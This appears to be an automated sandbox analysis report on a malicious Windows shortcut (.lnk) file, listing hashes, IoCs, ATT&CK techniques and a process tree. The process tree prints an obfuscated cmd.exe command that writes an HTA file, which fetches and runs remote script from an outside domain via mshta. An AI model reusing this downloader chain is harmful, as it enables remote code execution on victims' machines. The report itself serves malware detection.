6e8a08d6caf0e0ad6a555da452f403b0bcf2e8fdf8f968130eda3686a4e1555f

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
02-04-2024 14:22

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General

Target

599151.301.25077.7868139.lnk
Size

561B
MD5

57050773638b46dfc5f60930cd1cb266
SHA1

3219f88ea28c525eb35050939d2ecb01d6fa7282
SHA256

7ae01fd7aa0b5898eb36548024f2cc8156216322ea6402eb8f04180adfc9539d
SHA512

181885faf9a655befaa6755fd003fd674e1ccf201c6718e9693754f4d5704230d62982430997b9dd85eee9f9139997cd67ea7c9c171f91f245eaa497e9796712

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

116 powershell.exe
116 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 116 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	cmd.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings	powershell.exe

pid	process
116	powershell.exe
116	powershell.exe

description	pid	process
Token: SeDebugPrivilege	116	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 812 wrote to memory of 1420	812	cmd.exe	cmd.exe
PID 812 wrote to memory of 1420	812	cmd.exe	cmd.exe
PID 1420 wrote to memory of 212	1420	cmd.exe	cmd.exe
PID 1420 wrote to memory of 212	1420	cmd.exe	cmd.exe
PID 1420 wrote to memory of 116	1420	cmd.exe	powershell.exe
PID 1420 wrote to memory of 116	1420	cmd.exe	powershell.exe
PID 116 wrote to memory of 2772	116	powershell.exe	mshta.exe
PID 116 wrote to memory of 2772	116	powershell.exe	mshta.exe
PID 116 wrote to memory of 2772	116	powershell.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\599151.301.25077.7868139.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:812

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /V/D/c "seT sKk=script&&seT px=powershell&&SEt NEGG=C:\Users\Public\Videos\^YqW&&SEt SMO=.H&&SEt XQGZ=^<!sKk!^>try{v6POar c='!sKk!:';d='h6POTtP:';G6POetObj6POect(c+d+'&&sET FIC=ZXEFMZXEFMwaa8.nolii.dateZXEFM?1ZXEFM');}catch(e){}close();^</!sKk!^>&&sEt/^p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%"<nul > %NEGG%%SMO%ta|!px! -Command "& '!NEGG!!SMO!ta' "
2⤵
- Suspicious use of WriteProcessMemory
PID:1420

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" sEt/p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%" 0<nul 1>%NEGG%%SMO%ta"
3⤵
PID:212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "& 'C:\Users\Public\Videos\YqW.Hta'
3⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:116

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\Videos\YqW.Hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
4⤵
PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jgxhqgtt.ves.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Videos\YqW.Hta

Filesize
105B

MD5
8242e1808eac09b7264a697fc98c2f37

SHA1
34a5dca8f5eeb3edb9a73f0e544be74049506325

SHA256
c43738a850d1ae9d59f39d592cdc3faca6a327735dbaaa9c979b5036dba72937

SHA512
09906f3479661b52fe980e54cca55bbe67aa5a01c912d414d77fe11e6eb7ed6a3c4c5ae5abb991734e657219a8a7164d655a2106913330cea9a7014746f29d6d

Download Submit
memory/116-3-0x000001B0733F0000-0x000001B073412000-memory.dmp

Filesize
136KB

Download
memory/116-13-0x00007FFB42A00000-0x00007FFB434C1000-memory.dmp

Filesize
10.8MB

Download
memory/116-14-0x000001B0733B0000-0x000001B0733C0000-memory.dmp

Filesize
64KB

Download
memory/116-15-0x000001B0733B0000-0x000001B0733C0000-memory.dmp

Filesize
64KB

Download
memory/116-19-0x00007FFB42A00000-0x00007FFB434C1000-memory.dmp

Filesize
10.8MB

Download